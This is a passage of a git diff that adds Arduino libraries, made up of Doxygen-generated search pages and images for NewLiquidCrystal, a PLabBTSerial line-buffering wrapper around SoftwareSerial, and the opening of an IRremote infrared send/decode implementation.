(e.keyCode==13) return true; + if (!this.ProcessKeys(e)) return false; + + if (this.lastKey==38) // Up + { + if (childIndex>0) + { + var newIndex = childIndex-1; + document.getElementById('Item'+itemIndex+'_c'+newIndex).focus(); + } + else // already at first child, jump to parent + { + document.getElementById('Item'+itemIndex).focus(); + } + } + else if (this.lastKey==40) // Down + { + var newIndex = childIndex+1; + var elem = document.getElementById('Item'+itemIndex+'_c'+newIndex); + if (!elem) // last child, jump to parent next parent + { + elem = this.NavNext(itemIndex+1); + } + if (elem) + { + elem.focus(); + } + } + else if (this.lastKey==27) // Escape + { + parent.searchBox.CloseResultsWindow(); + parent.document.getElementById("MSearchField").focus(); + } + else if (this.lastKey==13) // Enter + { + return true; + } + return false; + } +} + +function setKeyActions(elem,action) +{ + elem.setAttribute('onkeydown',action); + elem.setAttribute('onkeypress',action); + elem.setAttribute('onkeyup',action); +} + +function setClassAttr(elem,attr) +{ + elem.setAttribute('class',attr); + elem.setAttribute('className',attr); +} + +function createResults() +{ + var results = document.getElementById("SRResults"); + for (var e=0; ek7RCwB~R6VQOP#AvB$vH7i{6H{96zot$7cZT<7246EF5Np6N}+$IbiG6W zg#87A+NFaX+=_^xM1#gCtshC=E{%9^uQX_%?YwXvo{#q&MnpJ8uh(O?ZRc&~_1%^SsPxG@rfElJg-?U zm!Cz-IOn(qJP3kDp-^~qt+FGbl=5jNli^Wj_xIBG{Rc0en{!oFvyoNC7{V~T8}b>| z=jL2WIReZzX(YN(_9fV;BBD$VXQIxNasAL8ATvEu822WQ%mvv4FO#qs` BFGc_W literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/search_r.png b/libraries/NewliquidCrystal/utility/docs/html/search/search_r.png new file mode 100644 index 0000000000000000000000000000000000000000..97ee8b439687084201b79c6f776a41f495c6392a GIT binary patch literal 612 zcmV-q0-ODbP)PbXFRCwB?)W514K@j&X?z2*SxFI6-@HT2E2K=9X9%Pb zEK*!TBw&g(DMC;|A)uGlRkOS9vd-?zNs%bR4d$w+ox_iFnE8fvIvv7^5<(>Te12Li z7C)9srCzmK{ZcNM{YIl9j{DePFgOWiS%xG@5CnnnJa4nvY<^glbz7^|-ZY!dUkAwd z{gaTC@_>b5h~;ug#R0wRL0>o5!hxm*s0VW?8dr}O#zXTRTnrQm_Z7z1Mrnx>&p zD4qifUjzLvbVVWi?l?rUzwt^sdb~d!f_LEhsRVIXZtQ=qSxuxqm zEX#tf>$?M_Y1-LSDT)HqG?`%-%ZpY!#{N!rcNIiL;G7F0`l?)mNGTD9;f9F5Up3Kg zw}a<-JylhG&;=!>B+fZaCX+?C+kHYrP%c?X2!Zu_olK|GcS4A70HEy;vn)I0>0kLH z`jc(WIaaHc7!HS@f*^R^Znx8W=_jIl2oWJoQ*h1^$FX!>*PqR1J8k|fw}w_y}TpE>7m8DqDO<3z`OzXt$ccSejbEZCg@0000 + + + + + + +
+
Loading...
+
+
+ fio_bit + FastIO.h +
+
+
+
+ fio_register + FastIO.h +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/search/variables_5f.html b/libraries/NewliquidCrystal/utility/docs/html/search/variables_5f.html new file mode 100644 index 0000000..0bac2f1 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/search/variables_5f.html @@ -0,0 +1,56 @@ + + + + + + + +
+
Loading...
+
+
+ _cols + LCD +
+
+
+
+ _displaycontrol + LCD +
+
+
+
+ _displayfunction + LCD +
+
+
+
+ _displaymode + LCD +
+
+
+
+ _numlines + LCD +
+
+
+
+ _polarity + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/splitbar.png b/libraries/NewliquidCrystal/utility/docs/html/splitbar.png new file mode 100644 index 0000000000000000000000000000000000000000..fe895f2c58179b471a22d8320b39a4bd7312ec8e GIT binary patch literal 314 zcmeAS@N?(olHy`uVBq!ia0vp^Yzz!63>-{AmhX=Jf(#6djGiuzAr*{o?=JLmPLyc> z_*`QK&+BH@jWrYJ7>r6%keRM@)Qyv8R=enp0jiI>aWlGyB58O zFVR20d+y`K7vDw(hJF3;>dD*3-?v=<8M)@x|EEGLnJsniYK!2U1 Y!`|5biEc?d1`HDhPgg&ebxsLQ02F6;9RL6T literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/sync_off.png b/libraries/NewliquidCrystal/utility/docs/html/sync_off.png new file mode 100644 index 0000000000000000000000000000000000000000..3b443fc62892114406e3d399421b2a881b897acc GIT binary patch literal 853 zcmV-b1FHOqP)oT|#XixUYy%lpuf3i8{fX!o zUyDD0jOrAiT^tq>fLSOOABs-#u{dV^F$b{L9&!2=9&RmV;;8s^x&UqB$PCj4FdKbh zoB1WTskPUPu05XzFbA}=KZ-GP1fPpAfSs>6AHb12UlR%-i&uOlTpFNS7{jm@mkU1V zh`nrXr~+^lsV-s1dkZOaI|kYyVj3WBpPCY{n~yd%u%e+d=f%`N0FItMPtdgBb@py; zq@v6NVArhyTC7)ULw-Jy8y42S1~4n(3LkrW8mW(F-4oXUP3E`e#g**YyqI7h-J2zK zK{m9##m4ri!7N>CqQqCcnI3hqo1I;Yh&QLNY4T`*ptiQGozK>FF$!$+84Z`xwmeMh zJ0WT+OH$WYFALEaGj2_l+#DC3t7_S`vHpSivNeFbP6+r50cO8iu)`7i%Z4BTPh@_m3Tk!nAm^)5Bqnr%Ov|Baunj#&RPtRuK& z4RGz|D5HNrW83-#ydk}tVKJrNmyYt-sTxLGlJY5nc&Re zU4SgHNPx8~Yxwr$bsju?4q&%T1874xxzq+_%?h8_ofw~(bld=o3iC)LUNR*BY%c0y zWd_jX{Y8`l%z+ol1$@Qa?Cy!(0CVIEeYpKZ`(9{z>3$CIe;pJDQk$m3p}$>xBm4lb zKo{4S)`wdU9Ba9jJbVJ0C=SOefZe%d$8=2r={nu<_^a3~>c#t_U6dye5)JrR(_a^E f@}b6j1K9lwFJq@>o)+Ry00000NkvXXu0mjfWa5j* literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/sync_on.png b/libraries/NewliquidCrystal/utility/docs/html/sync_on.png new file mode 100644 index 0000000000000000000000000000000000000000..e08320fb64e6fa33b573005ed6d8fe294e19db76 GIT binary patch literal 845 zcmV-T1G4;yP)Y;xxyHF2B5Wzm| zOOGupOTn@c(JmBOl)e;XMNnZuiTJP>rM8<|Q`7I_))aP?*T)ow&n59{}X4$3Goat zgjs?*aasfbrokzG5cT4K=uG`E14xZl@z)F={P0Y^?$4t z>v!teRnNZym<6h{7sLyF1V0HsfEl+l6TrZpsfr1}luH~F7L}ktXu|*uVX^RG$L0`K zWs3j|0tIvVe(N%_?2{(iCPFGf#B6Hjy6o&}D$A%W%jfO8_W%ZO#-mh}EM$LMn7joJ z05dHr!5Y92g+31l<%i1(=L1a1pXX+OYnalY>31V4K}BjyRe3)9n#;-cCVRD_IG1fT zOKGeNY8q;TL@K{dj@D^scf&VCs*-Jb>8b>|`b*osv52-!A?BpbYtTQBns5EAU**$m zSnVSm(teh>tQi*S*A>#ySc=n;`BHz`DuG4&g4Kf8lLhca+zvZ7t7RflD6-i-mcK=M z!=^P$*u2)bkY5asG4gsss!Hn%u~>}kIW`vMs%lJLH+u*9<4PaV_c6U`KqWXQH%+Nu zTv41O(^ZVi@qhjQdG!fbZw&y+2o!iYymO^?ud3{P*HdoX83YV*Uu_HB=?U&W9%AU# z80}k1SS-CXTU7dcQlsm<^oYLxVSseqY6NO}dc`Nj?8vrhNuCdm@^{a3AQ_>6myOj+ z`1RsLUXF|dm|3k7s2jD(B{rzE>WI2scH8i1;=O5Cc9xB3^aJk%fQjqsu+kH#0=_5a z0nCE8@dbQa-|YIuUVvG0L_IwHMEhOj$Mj4Uq05 X8=0q~qBNan00000NkvXXu0mjfptF>5 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/tab_a.png b/libraries/NewliquidCrystal/utility/docs/html/tab_a.png new file mode 100644 index 0000000000000000000000000000000000000000..3b725c41c5a527a3a3e40097077d0e206a681247 GIT binary patch literal 142 zcmeAS@N?(olHy`uVBq!ia0vp^j6kfy!2~3aiye;!QlXwMjv*C{Z|8b*H5dputLHD# z=<0|*y7z(Vor?d;H&?EG&cXR}?!j-Lm&u1OOI7AIF5&c)RFE;&p0MYK>*Kl@eiymD r@|NpwKX@^z+;{u_Z~trSBfrMKa%3`zocFjEXaR$#tDnm{r-UW|TZ1%4 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/tab_b.png b/libraries/NewliquidCrystal/utility/docs/html/tab_b.png new file mode 100644 index 0000000000000000000000000000000000000000..e2b4a8638cb3496a016eaed9e16ffc12846dea18 GIT binary patch literal 169 zcmeAS@N?(olHy`uVBq!ia0vp^j6kfy!2~3aiye;!QU#tajv*C{Z}0l@H7kg?K0Lnr z!j&C6_(~HV9oQ0Pa6x{-v0AGV_E?vLn=ZI-;YrdjIl`U`uzuDWSP?o#Dmo{%SgM#oan kX~E1%D-|#H#QbHoIja2U-MgvsK&LQxy85}Sb4q9e0Efg%P5=M^ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/tabs.css b/libraries/NewliquidCrystal/utility/docs/html/tabs.css new file mode 100644 index 0000000..9cf578f --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/tabs.css @@ -0,0 +1,60 @@ +.tabs, .tabs2, .tabs3 { + background-image: url('tab_b.png'); + width: 100%; + z-index: 101; + font-size: 13px; + font-family: 'Lucida Grande',Geneva,Helvetica,Arial,sans-serif; +} + +.tabs2 { + font-size: 10px; +} +.tabs3 { + font-size: 9px; +} + +.tablist { + margin: 0; + padding: 0; + display: table; +} + +.tablist li { + float: left; + display: table-cell; + background-image: url('tab_b.png'); + line-height: 36px; + list-style: none; +} + +.tablist a { + display: block; + padding: 0 20px; + font-weight: bold; + background-image:url('tab_s.png'); + background-repeat:no-repeat; + background-position:right; + color: #283A5D; + text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.9); + text-decoration: none; + outline: none; +} + +.tabs3 .tablist a { + padding: 0 10px; +} + +.tablist a:hover { + background-image: url('tab_h.png'); + background-repeat:repeat-x; + color: #fff; + text-shadow: 0px 1px 1px rgba(0, 0, 0, 1.0); + text-decoration: none; +} + +.tablist li.current a { + background-image: url('tab_a.png'); + background-repeat:repeat-x; + color: #fff; + text-shadow: 0px 1px 1px rgba(0, 0, 0, 1.0); +} diff --git a/libraries/PLabBT/PLabBTSerial.cpp b/libraries/PLabBT/PLabBTSerial.cpp new file mode 100755 index 0000000..8e1e7d5 --- /dev/null +++ b/libraries/PLabBT/PLabBTSerial.cpp @@ -0,0 +1,85 @@ +#include + +int PLabBTSerial::read() { + if (_available) + { + int r = _buffer[_retLoc]; + _available--; + if (_available) + { + _retLoc++; + } + else + { + _bLoc = 0; + _retLoc = 0; + } + return r; + } + return -1; +} + +void PLabBTSerial::read(char* buffer, int bufferSize) { + if (_available > bufferSize) + { + return; + } + int i = 0; + while (_available) + { + buffer[i] = read(); + i++; + } +} + +int PLabBTSerial::available() +{ + if (_available > 0) + { + return _available; + } + while (SoftwareSerial::available() > 0) + { + _buffer[_bLoc] = SoftwareSerial::read(); + if (_buffer[_bLoc] == '\r') + { + // Should just skip + } + else if (_buffer[_bLoc] == '\n') + { + // New line found. End string and return available data count + _buffer[_bLoc] = '\0'; + _available = (_bLoc - _retLoc) + 1; + return _available; + } + else + { + _bLoc++; + } + while (_bLoc >= _bufferSize) + { + _bLoc--; + } + } + return 0; +} + +// Constructor +PLabBTSerial::PLabBTSerial(uint8_t receivePin, uint8_t transmitPin, bool inverse_logic /*= false*/, uint8_t bufferSize /*= 50*/) : + SoftwareSerial(receivePin, transmitPin, inverse_logic) +{ + _bufferSize = bufferSize; + _buffer = new char[_bufferSize]; + _bLoc = 0; + _retLoc = 0; + _available = 0; +} + +// Destructor +PLabBTSerial::~PLabBTSerial() +{ + delete[] _buffer; + end(); +} + + diff --git a/libraries/PLabBT/PLabBTSerial.h b/libraries/PLabBT/PLabBTSerial.h new file mode 100755 index 0000000..6a30cc9 --- /dev/null +++ b/libraries/PLabBT/PLabBTSerial.h @@ -0,0 +1,46 @@ + +/* + * PLabBTSerial + * Version 0.1 February, 2015 + * Library that simplify serial line communication using SoftwareSerial. + * Allows the user to batch up characters to form an entire line before reading + * + * Author Inge Edward Halsaunet + */ + + +#ifndef PLAB_BT_SERIAL_H +#define PLAB_BT_SERIAL_H + +#include +#include + +class PLabBTSerial : public SoftwareSerial +{ +private: + // Size of buffer. + uint8_t _bufferSize; + // how far is written into the buffer + uint8_t _bLoc; + // How much is read from user + uint8_t _retLoc; + // How much is left available to read on this line + int _available; + // the buffer + char *_buffer; +public: + PLabBTSerial(uint8_t receivePin, uint8_t transmitPin, bool inverse_logic = false, uint8_t bufferSize = 50); + ~PLabBTSerial(); + + // The ones that will be overriden + virtual int read(); + virtual int available(); + + // Completely new method. Fills the given buffer with data received, + // given the buffer is large enough. Given buffer size identified as + // bufferSize + virtual void read(char* buffer, int bufferSize); + +}; + +#endif diff --git a/libraries/PLabLib1/PLab_IRremote.cpp b/libraries/PLabLib1/PLab_IRremote.cpp new file mode 100755 index 0000000..50db3d7 --- /dev/null +++ b/libraries/PLabLib1/PLab_IRremote.cpp @@ -0,0 +1,1154 @@ +/* + * IRremote + * Version 0.11 August, 2009 + * Copyright 2009 Ken Shirriff + * For details, see http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.html + * + * Modified by Paul Stoffregen to support other boards and timers + * Modified by Mitra Ardron + * Added Sanyo and Mitsubishi controllers + * Modified Sony to spot the repeat codes that some Sony's send + * + * Interrupt code based on NECIRrcv by Joe Knapp + * http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1210243556 + * Also influenced by http://zovirl.com/2008/11/12/building-a-universal-remote-with-an-arduino/ + * + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + * LG added by Darryl Smith (based on the JVC protocol) + */ + +#include "PLab_IRremote.h" +#include "PLab_IRremoteInt.h" + +// Provides ISR +#include + +volatile irparams_t irparams; + +// These versions of MATCH, MATCH_MARK, and MATCH_SPACE are only for debugging. +// To use them, set DEBUG in IRremoteInt.h +// Normally macros are used for efficiency +#ifdef DEBUG +int MATCH(int measured, int desired) { + Serial.print("Testing: "); + Serial.print(TICKS_LOW(desired), DEC); + Serial.print(" <= "); + Serial.print(measured, DEC); + Serial.print(" <= "); + Serial.println(TICKS_HIGH(desired), DEC); + return measured >= TICKS_LOW(desired) && measured <= TICKS_HIGH(desired); +} + +int MATCH_MARK(int measured_ticks, int desired_us) { + Serial.print("Testing mark "); + Serial.print(measured_ticks * USECPERTICK, DEC); + Serial.print(" vs "); + Serial.print(desired_us, DEC); + Serial.print(": "); + Serial.print(TICKS_LOW(desired_us + MARK_EXCESS), DEC); + Serial.print(" <= "); + Serial.print(measured_ticks, DEC); + Serial.print(" <= "); + Serial.println(TICKS_HIGH(desired_us + MARK_EXCESS), DEC); + return measured_ticks >= TICKS_LOW(desired_us + MARK_EXCESS) && measured_ticks <= TICKS_HIGH(desired_us + MARK_EXCESS); +} + +int MATCH_SPACE(int measured_ticks, int desired_us) { + Serial.print("Testing space "); + Serial.print(measured_ticks * USECPERTICK, DEC); + Serial.print(" vs "); + Serial.print(desired_us, DEC); + Serial.print(": "); + Serial.print(TICKS_LOW(desired_us - MARK_EXCESS), DEC); + Serial.print(" <= "); + Serial.print(measured_ticks, DEC); + Serial.print(" <= "); + Serial.println(TICKS_HIGH(desired_us - MARK_EXCESS), DEC); + return measured_ticks >= TICKS_LOW(desired_us - MARK_EXCESS) && measured_ticks <= TICKS_HIGH(desired_us - MARK_EXCESS); +} +#else +int MATCH(int measured, int desired) {return measured >= TICKS_LOW(desired) && measured <= TICKS_HIGH(desired);} +int MATCH_MARK(int measured_ticks, int desired_us) {return MATCH(measured_ticks, (desired_us + MARK_EXCESS));} +int MATCH_SPACE(int measured_ticks, int desired_us) {return MATCH(measured_ticks, (desired_us - MARK_EXCESS));} +// Debugging versions are in IRremote.cpp +#endif + +void IRsend::sendNEC(unsigned long data, int nbits) +{ + enableIROut(38); + mark(NEC_HDR_MARK); + space(NEC_HDR_SPACE); + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + mark(NEC_BIT_MARK); + space(NEC_ONE_SPACE); + } + else { + mark(NEC_BIT_MARK); + space(NEC_ZERO_SPACE); + } + data <<= 1; + } + mark(NEC_BIT_MARK); + space(0); +} + +void IRsend::sendSony(unsigned long data, int nbits) { + enableIROut(40); + mark(SONY_HDR_MARK); + space(SONY_HDR_SPACE); + data = data << (32 - nbits); + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + mark(SONY_ONE_MARK); + space(SONY_HDR_SPACE); + } + else { + mark(SONY_ZERO_MARK); + space(SONY_HDR_SPACE); + } + data <<= 1; + } +} + +void IRsend::sendRaw(unsigned int buf[], int len, int hz) +{ + enableIROut(hz); + for (int i = 0; i < len; i++) { + if (i & 1) { + space(buf[i]); + } + else { + mark(buf[i]); + } + } + space(0); // Just to be sure +} + +// Note: first bit must be a one (start bit) +void IRsend::sendRC5(unsigned long data, int nbits) +{ + enableIROut(36); + data = data << (32 - nbits); + mark(RC5_T1); // First start bit + space(RC5_T1); // Second start bit + mark(RC5_T1); // Second start bit + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + space(RC5_T1); // 1 is space, then mark + mark(RC5_T1); + } + else { + mark(RC5_T1); + space(RC5_T1); + } + data <<= 1; + } + space(0); // Turn off at end +} + +// Caller needs to take care of flipping the toggle bit +void IRsend::sendRC6(unsigned long data, int nbits) +{ + enableIROut(36); + data = data << (32 - nbits); + mark(RC6_HDR_MARK); + space(RC6_HDR_SPACE); + mark(RC6_T1); // start bit + space(RC6_T1); + int t; + for (int i = 0; i < nbits; i++) { + if (i == 3) { + // double-wide trailer bit + t = 2 * RC6_T1; + } + else { + t = RC6_T1; + } + if (data & TOPBIT) { + mark(t); + space(t); + } + else { + space(t); + mark(t); + } + + data <<= 1; + } + space(0); // Turn off at end +} +void IRsend::sendPanasonic(unsigned int address, unsigned long data) { + enableIROut(35); + mark(PANASONIC_HDR_MARK); + space(PANASONIC_HDR_SPACE); + + for(int i=0;i<16;i++) + { + mark(PANASONIC_BIT_MARK); + if (address & 0x8000) { + space(PANASONIC_ONE_SPACE); + } else { + space(PANASONIC_ZERO_SPACE); + } + address <<= 1; + } + for (int i=0; i < 32; i++) { + mark(PANASONIC_BIT_MARK); + if (data & TOPBIT) { + space(PANASONIC_ONE_SPACE); + } else { + space(PANASONIC_ZERO_SPACE); + } + data <<= 1; + } + mark(PANASONIC_BIT_MARK); + space(0); +} +void IRsend::sendJVC(unsigned long data, int nbits, int repeat) +{ + enableIROut(38); + data = data << (32 - nbits); + if (!repeat){ + mark(JVC_HDR_MARK); + space(JVC_HDR_SPACE); + } + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + mark(JVC_BIT_MARK); + space(JVC_ONE_SPACE); + } + else { + mark(JVC_BIT_MARK); + space(JVC_ZERO_SPACE); + } + data <<= 1; + } + mark(JVC_BIT_MARK); + space(0); +} + +void IRsend::sendSAMSUNG(unsigned long data, int nbits) +{ + enableIROut(38); + mark(SAMSUNG_HDR_MARK); + space(SAMSUNG_HDR_SPACE); + for (int i = 0; i < nbits; i++) { + if (data & TOPBIT) { + mark(SAMSUNG_BIT_MARK); + space(SAMSUNG_ONE_SPACE); + } + else { + mark(SAMSUNG_BIT_MARK); + space(SAMSUNG_ZERO_SPACE); + } + data <<= 1; + } + mark(SAMSUNG_BIT_MARK); + space(0); +} + +void IRsend::mark(int time) { + // Sends an IR mark for the specified number of microseconds. + // The mark output is modulated at the PWM frequency. + TIMER_ENABLE_PWM; // Enable pin 3 PWM output + if (time > 0) delayMicroseconds(time); +} + +/* Leave pin off for time (given in microseconds) */ +void IRsend::space(int time) { + // Sends an IR space for the specified number of microseconds. + // A space is no output, so the PWM output is disabled. + TIMER_DISABLE_PWM; // Disable pin 3 PWM output + if (time > 0) delayMicroseconds(time); +} + +void IRsend::enableIROut(int khz) { + // Enables IR output. The khz value controls the modulation frequency in kilohertz. + // The IR output will be on pin 3 (OC2B). + // This routine is designed for 36-40KHz; if you use it for other values, it's up to you + // to make sure it gives reasonable results. (Watch out for overflow / underflow / rounding.) + // TIMER2 is used in phase-correct PWM mode, with OCR2A controlling the frequency and OCR2B + // controlling the duty cycle. + // There is no prescaling, so the output frequency is 16MHz / (2 * OCR2A) + // To turn the output on and off, we leave the PWM running, but connect and disconnect the output pin. + // A few hours staring at the ATmega documentation and this will all make sense. + // See my Secrets of Arduino PWM at http://arcfn.com/2009/07/secrets-of-arduino-pwm.html for details. + + + // Disable the Timer2 Interrupt (which is used for receiving IR) + TIMER_DISABLE_INTR; //Timer2 Overflow Interrupt + + pinMode(TIMER_PWM_PIN, OUTPUT); + digitalWrite(TIMER_PWM_PIN, LOW); // When not sending PWM, we want it low + + // COM2A = 00: disconnect OC2A + // COM2B = 00: disconnect OC2B; to send signal set to 10: OC2B non-inverted + // WGM2 = 101: phase-correct PWM with OCRA as top + // CS2 = 000: no prescaling + // The top value for the timer. The modulation frequency will be SYSCLOCK / 2 / OCR2A. + TIMER_CONFIG_KHZ(khz); +} + +IRrecv::IRrecv(int recvpin) +{ + irparams.recvpin = recvpin; + irparams.blinkflag = 0; +} + +// initialization +void IRrecv::enableIRIn() { + cli(); + // setup pulse clock timer interrupt + //Prescale /8 (16M/8 = 0.5 microseconds per tick) + // Therefore, the timer interval can range from 0.5 to 128 microseconds + // depending on the reset value (255 to 0) + TIMER_CONFIG_NORMAL(); + + //Timer2 Overflow Interrupt Enable + TIMER_ENABLE_INTR; + + TIMER_RESET; + + sei(); // enable interrupts + + // initialize state machine variables + irparams.rcvstate = STATE_IDLE; + irparams.rawlen = 0; + + // set pin modes + pinMode(irparams.recvpin, INPUT); +} + +// enable/disable blinking of pin 13 on IR processing +void IRrecv::blink13(int blinkflag) +{ + irparams.blinkflag = blinkflag; + if (blinkflag) + pinMode(BLINKLED, OUTPUT); +} + +// TIMER2 interrupt code to collect raw data. +// Widths of alternating SPACE, MARK are recorded in rawbuf. +// Recorded in ticks of 50 microseconds. +// rawlen counts the number of entries recorded so far. +// First entry is the SPACE between transmissions. +// As soon as a SPACE gets long, ready is set, state switches to IDLE, timing of SPACE continues. +// As soon as first MARK arrives, gap width is recorded, ready is cleared, and new logging starts +ISR(TIMER_INTR_NAME) +{ + TIMER_RESET; + + uint8_t irdata = (uint8_t)digitalRead(irparams.recvpin); + + irparams.timer++; // One more 50us tick + if (irparams.rawlen >= RAWBUF) { + // Buffer overflow + irparams.rcvstate = STATE_STOP; + } + switch(irparams.rcvstate) { + case STATE_IDLE: // In the middle of a gap + if (irdata == MARK) { + if (irparams.timer < GAP_TICKS) { + // Not big enough to be a gap. + irparams.timer = 0; + } + else { + // gap just ended, record duration and start recording transmission + irparams.rawlen = 0; + irparams.rawbuf[irparams.rawlen++] = irparams.timer; + irparams.timer = 0; + irparams.rcvstate = STATE_MARK; + } + } + break; + case STATE_MARK: // timing MARK + if (irdata == SPACE) { // MARK ended, record time + irparams.rawbuf[irparams.rawlen++] = irparams.timer; + irparams.timer = 0; + irparams.rcvstate = STATE_SPACE; + } + break; + case STATE_SPACE: // timing SPACE + if (irdata == MARK) { // SPACE just ended, record it + irparams.rawbuf[irparams.rawlen++] = irparams.timer; + irparams.timer = 0; + irparams.rcvstate = STATE_MARK; + } + else { // SPACE + if (irparams.timer > GAP_TICKS) { + // big SPACE, indicates gap between codes + // Mark current code as ready for processing + // Switch to STOP + // Don't reset timer; keep counting space width + irparams.rcvstate = STATE_STOP; + } + } + break; + case STATE_STOP: // waiting, measuring gap + if (irdata == MARK) { // reset gap timer + irparams.timer = 0; + } + break; + } + + if (irparams.blinkflag) { + if (irdata == MARK) { + BLINKLED_ON(); // turn pin 13 LED on + } + else { + BLINKLED_OFF(); // turn pin 13 LED off + } + } +} + +void IRrecv::resume() { + irparams.rcvstate = STATE_IDLE; + irparams.rawlen = 0; +} + + + +// Decodes the received IR message +// Returns 0 if no data ready, 1 if data ready. +// Results of decoding are stored in results +int IRrecv::decode(decode_results *results) { + results->rawbuf = irparams.rawbuf; + results->rawlen = irparams.rawlen; + if (irparams.rcvstate != STATE_STOP) { + return ERR; + } +#ifdef DEBUG + Serial.println("Attempting NEC decode"); +#endif + if (decodeNEC(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting Sony decode"); +#endif + if (decodeSony(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting Sanyo decode"); +#endif + if (decodeSanyo(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting Mitsubishi decode"); +#endif + if (decodeMitsubishi(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting RC5 decode"); +#endif + if (decodeRC5(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting RC6 decode"); +#endif + if (decodeRC6(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting Panasonic decode"); +#endif + if (decodePanasonic(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting LG decode"); +#endif + if (decodeLG(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting JVC decode"); +#endif + if (decodeJVC(results)) { + return DECODED; + } +#ifdef DEBUG + Serial.println("Attempting SAMSUNG decode"); +#endif + if (decodeSAMSUNG(results)) { + return DECODED; + } + // decodeHash returns a hash on any input. + // Thus, it needs to be last in the list. + // If you add any decodes, add them before this. + if (decodeHash(results)) { + return DECODED; + } + // Throw away and start over + resume(); + return ERR; +} + +// NECs have a repeat only 4 items long +long IRrecv::decodeNEC(decode_results *results) { + long data = 0; + int offset = 1; // Skip first space + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], NEC_HDR_MARK)) { + return ERR; + } + offset++; + // Check for repeat + if (irparams.rawlen == 4 && + MATCH_SPACE(results->rawbuf[offset], NEC_RPT_SPACE) && + MATCH_MARK(results->rawbuf[offset+1], NEC_BIT_MARK)) { + results->bits = 0; + results->value = REPEAT; + results->decode_type = NEC; + return DECODED; + } + if (irparams.rawlen < 2 * NEC_BITS + 4) { + return ERR; + } + // Initial space + if (!MATCH_SPACE(results->rawbuf[offset], NEC_HDR_SPACE)) { + return ERR; + } + offset++; + for (int i = 0; i < NEC_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset], NEC_BIT_MARK)) { + return ERR; + } + offset++; + if (MATCH_SPACE(results->rawbuf[offset], NEC_ONE_SPACE)) { + data = (data << 1) | 1; + } + else if (MATCH_SPACE(results->rawbuf[offset], NEC_ZERO_SPACE)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + // Success + results->bits = NEC_BITS; + results->value = data; + results->decode_type = NEC; + return DECODED; +} + +long IRrecv::decodeSony(decode_results *results) { + long data = 0; + if (irparams.rawlen < 2 * SONY_BITS + 2) { + return ERR; + } + int offset = 0; // Dont skip first space, check its size + + // Some Sony's deliver repeats fast after first + // unfortunately can't spot difference from of repeat from two fast clicks + if (results->rawbuf[offset] < SONY_DOUBLE_SPACE_USECS) { + // Serial.print("IR Gap found: "); + results->bits = 0; + results->value = REPEAT; + results->decode_type = SANYO; + return DECODED; + } + offset++; + + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], SONY_HDR_MARK)) { + return ERR; + } + offset++; + + while (offset + 1 < irparams.rawlen) { + if (!MATCH_SPACE(results->rawbuf[offset], SONY_HDR_SPACE)) { + break; + } + offset++; + if (MATCH_MARK(results->rawbuf[offset], SONY_ONE_MARK)) { + data = (data << 1) | 1; + } + else if (MATCH_MARK(results->rawbuf[offset], SONY_ZERO_MARK)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + + // Success + results->bits = (offset - 1) / 2; + if (results->bits < 12) { + results->bits = 0; + return ERR; + } + results->value = data; + results->decode_type = SONY; + return DECODED; +} + +// I think this is a Sanyo decoder - serial = SA 8650B +// Looks like Sony except for timings, 48 chars of data and time/space different +long IRrecv::decodeSanyo(decode_results *results) { + long data = 0; + if (irparams.rawlen < 2 * SANYO_BITS + 2) { + return ERR; + } + int offset = 0; // Skip first space + // Initial space + /* Put this back in for debugging - note can't use #DEBUG as if Debug on we don't see the repeat cos of the delay + Serial.print("IR Gap: "); + Serial.println( results->rawbuf[offset]); + Serial.println( "test against:"); + Serial.println(results->rawbuf[offset]); + */ + if (results->rawbuf[offset] < SANYO_DOUBLE_SPACE_USECS) { + // Serial.print("IR Gap found: "); + results->bits = 0; + results->value = REPEAT; + results->decode_type = SANYO; + return DECODED; + } + offset++; + + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], SANYO_HDR_MARK)) { + return ERR; + } + offset++; + + // Skip Second Mark + if (!MATCH_MARK(results->rawbuf[offset], SANYO_HDR_MARK)) { + return ERR; + } + offset++; + + while (offset + 1 < irparams.rawlen) { + if (!MATCH_SPACE(results->rawbuf[offset], SANYO_HDR_SPACE)) { + break; + } + offset++; + if (MATCH_MARK(results->rawbuf[offset], SANYO_ONE_MARK)) { + data = (data << 1) | 1; + } + else if (MATCH_MARK(results->rawbuf[offset], SANYO_ZERO_MARK)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + + // Success + results->bits = (offset - 1) / 2; + if (results->bits < 12) { + results->bits = 0; + return ERR; + } + results->value = data; + results->decode_type = SANYO; + return DECODED; +} + +// Looks like Sony except for timings, 48 chars of data and time/space different +long 